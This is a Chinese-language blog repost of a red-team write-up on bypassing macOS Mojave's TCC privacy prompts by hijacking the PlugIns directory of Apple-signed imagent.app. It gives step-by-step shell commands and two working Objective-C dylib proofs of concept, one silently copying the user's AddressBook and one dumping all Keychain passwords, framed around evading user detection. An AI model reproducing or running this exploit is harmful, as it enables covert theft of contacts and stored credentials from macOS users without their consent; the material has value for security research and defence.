您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關如何繞過macOS的隱私控制,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。
寫在前面的話
當每一個新的macOS版本引入了隱私或安全方面的更新時,我們都需要利用一些實用技術來瀏覽和了解蘋果做了哪些修改。
2018年底,蘋果推出了macOS Mojave,并引入了一種隱私限制機制,旨在應用程序請求訪問敏感數據(如相機、麥克風、通訊簿和日歷等)時向用戶發出警告提示。而且通常情況下,紅隊研究人員參與的項目其核心之一就是在實現滲透的過程中不被檢測到,因此我媽們就需要繞過這些安全控制來避免用戶發現我們的行為,所以我們最不想看到的就是系統給用戶彈出下面這種警告對話框:
我們將給大家介紹一種繞過macOS隱私控制以及其他保護訪問限制(例如Keychain等)的技術。
此前我就一直在想辦法繞過Mojave的隱私控制機制,而且我也在思考第三方應用程序訪問日歷和通訊簿等功能時,操作系統是如何向用戶顯示隱私提示警告框的。更重要的是,我想知道蘋果簽名的應用程序如何能夠訪問這些功能而無需征得用戶同意。
其實我想要尋找的答案都在TTC那里。TTC,即透明、許可和控制服務。除了沙箱之外,TTC還負責監控程序訪問請求,并在請求受限資源時向用戶發出警報。
我們可以看看下列行為:
ls ~/Library/Calendars
除非你之前已經同意過讓Terminal.app訪問日歷程序的話(可以使用命令“ttcutil reset Calendar”來重置許可),否則系統將彈出下列警告框:
點擊“不允許”后,你將會在控制臺中看到請求應用錯誤的提示:
查看控制面板中的“安全&隱私”配置項,你將會看到:
有趣的是,在這個配置面板中,我們并沒有看到Calendar.app的身影,我們使用codesign工具查看Calendar.app的權限時,信息如下:
<key>com.apple.private.tcc.allow</key> <array><string>kTCCServiceReminders</string><string>kTCCServiceCalendar</string><string>kTCCServiceAddressBook</string> </array>
這里,我們可以看到com.apple.private.tcc.allow的權限,如果應用該權限,我們就可以在不提示的情況下訪問受保護的資源了。因此,每個需要訪問的資源需要列在這個授權列表中,此時的Calendar.app就可以直接訪問提醒、日歷和通訊簿等功能了,而TCC不會向用戶顯示任何的隱私警告框。
不幸的是,我們不能直接用這種權限來給我們的應用程序簽名,并添加到com.apple.private權限列表中,因為它們只對蘋果簽名的二進制文件有效,因此我們還需要尋找另一種方法。
自macOS Mojave發布以來,網上已經有很多帖子討論過這方面的內容了,其中的大部分方法都依賴于使用某種方式來控制那些以在該權限列表里的應用程序,但我們更傾向于使用其他方法來在目標應用程序中執行代碼。
在本文中,我們將注意力放在macOS自帶的imagent.app身上,這個應用程序位于/System/Library/PrivateFrameworks/IMCore.framework/imagent.app。查看該應用程序的權限之后,我們會發現一個非常有趣的事情。首先,我們看到它可以在無需提醒用戶的情況下訪問通訊簿:
<key>com.apple.private.tcc.allow.overridable</key> <array><string>kTCCServiceAddressBook</string> </array>
另外,我們還可以看到這個應用程序能夠訪問多個Keychain訪問組:
<key>keychain-access-groups</key> <array><string>ichat</string><string>apple</string><string>appleaccount</string><string>InternetAccounts</string><string>IMCore</string> </array>
接下來,我們需要使用codesign工具來驗證代碼關聯的驗證標識:
codesign -d --entitlements :- /System/Library/PrivateFrameworks/IMCore.framework/imagent.app -vv
執行之后,我們可以看到如下所示的嵌入式元數據:
CodeDirectory v=20100 size=4066 flags=0x0(none) hashes=120+5 location=embedded
在找到合適的代理應用時需要注意的標識是library-validation,它代表只有由蘋果簽名的dylib或應用程序組ID才能被加載。運行時標識代表應用程序使用了強化的運行時環境,而這種情況降不允許我們將任意dylib加載到進程中。
如果這兩個標識都不存在,我們就不必處理這些限制了。現在你可能在想,“我可以用dyldinsert庫來加載我的dylib嗎?”.嗯….不可以!蘋果當然考慮過這一點,如果您查看https://opensource.apple.com/source/dyld/dyld-655.1.1/src/dyld.cpp.auto.html上的源代碼,你
將看到,當存在授權時,通過環境變量加載dylib的任何嘗試都會受到限制。
那么我們還有什么其他選擇嗎?通過分析imagent.app的結構,我們會看到一個PlugIns目錄,它是為了在程序運行時加載擴展插件而設計的。由于我們的目標應用程序不需要用到已簽名的dylib,因此我們有可能通過它來向已簽名的進程中加載任意代碼。
接下來,我們需要對二進制文件進行反編譯,然后看看PlugIns目錄是如何被使用的。
在尋找NSBundle引用時,我們找到了_loadServices方法:
我們可以看到插件Bundle必須包含的文件擴展名,以及函數加載Bundle的過程:
接下來,我們需要創建一個插件,這里我直接找了一個現成的imservice插件來直接修改,插件路徑為/System/Library/Messages/PlugIns。
拿到我們的插件之后,我們可以拷貝到一個可寫入的路徑:
cp -r /System/Library/PrivateFrameworks/IMCore.framework /tmp/; cp -r /System/Library/Messages/PlugIns/iMessage.imservice /tmp/IMCore.framework/imagent.app/Contents/PlugIns/
接下來我們需要創建要加載的dylib,在創建dylib時,我們將使用attribute((constructor))描述符來確保在加載庫時執行提供的代碼,這樣才能在不向用戶顯示提示框的情況下退出代理應用程序。例如:
@implementation FunkyDylib :NSObject-(void)copyFilesFrom:(NSString *)src toPath:(NSString *)dst {NSFileManager *fileManager = [[NSFileManager alloc]init];[fileManager copyItemAtPath:src toPath:dst error:nil];}@endvoid runPOC(void) {[FunkyDylib alloc] copyFilesFrom:@"/Users/xpn/Library/Application Support/AddressBook" toPath:@"/tmp/AddressBook"];NSLog(@"[*] Copy complete, check /tmp/AddressBook for data");}__attribute__((constructor))static void customConstructor(int argc, const char **argv) {printf("IMCore PlugIns hijack POC by @_xpn_\n\n");runPOC();exit(0);}
編譯完成后,我們可以直接替換iMessage.imservice現有的插件dylib:
cp -f funky.dylib /tmp/IMCore.framework/imagent.app/Contents/PlugIns/iMessage.imservice/Contents/MacOS/iMessage
接下來,啟動imagent:
/tmp/IMCore.framework/imagent.app/Contents/MacOS/imagent
一切正常的話,此時將不會彈出警告框,而通訊簿的數據都將會被復制到/tmp中:
除了上面的效果之外,我們還可以將這項技術用到其他地方,比如說Keychain訪問組:
接下來,我們嘗試獲取用戶的Keychain憑證,這里需要使用SecItemCopyMatching方法來搜索憑證,并導出Keychain的所有屬性,包括用戶存儲的密碼:
@implementation FunkyDylib :NSObject-(void)harvestKeychain {NSDictionary *query = @{(id)kSecClass: (id)kSecClassGenericPassword,(id)kSecReturnData: (id)kCFBooleanTrue,(id)kSecAttrSynchronizable: (id)kCFBooleanTrue,(id)kSecReturnAttributes: (id)kCFBooleanTrue,(id)kSecMatchLimit: (id)kSecMatchLimitAll};NSData *inData = nil;CFTypeRef inTypeRef = (__bridge CFTypeRef)inData;OSStatus status = SecItemCopyMatching((CFDictionaryRef)query, &inTypeRef);if(status != noErr){printf("[!] Error with SecItemCopyMatching\n");return;}NSLog(@"[*] Dumping Wifi Creds from Keychain...\n\n");NSLog(@"%@", (__bridge id)inTypeRef);}@endvoid runPOC(void) {[[FunkyDylib alloc] harvestKeychain];}__attribute__((constructor))static void customConstructor(int argc, const char **argv) {printf("IMCore PlugIns hijack POC by @_xpn_\n\n");runPOC();exit(0);}
拷貝上述內容并覆蓋之前創建的iMessage插件dylib,然后啟動imagent:
關于如何繞過macOS的隱私控制就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。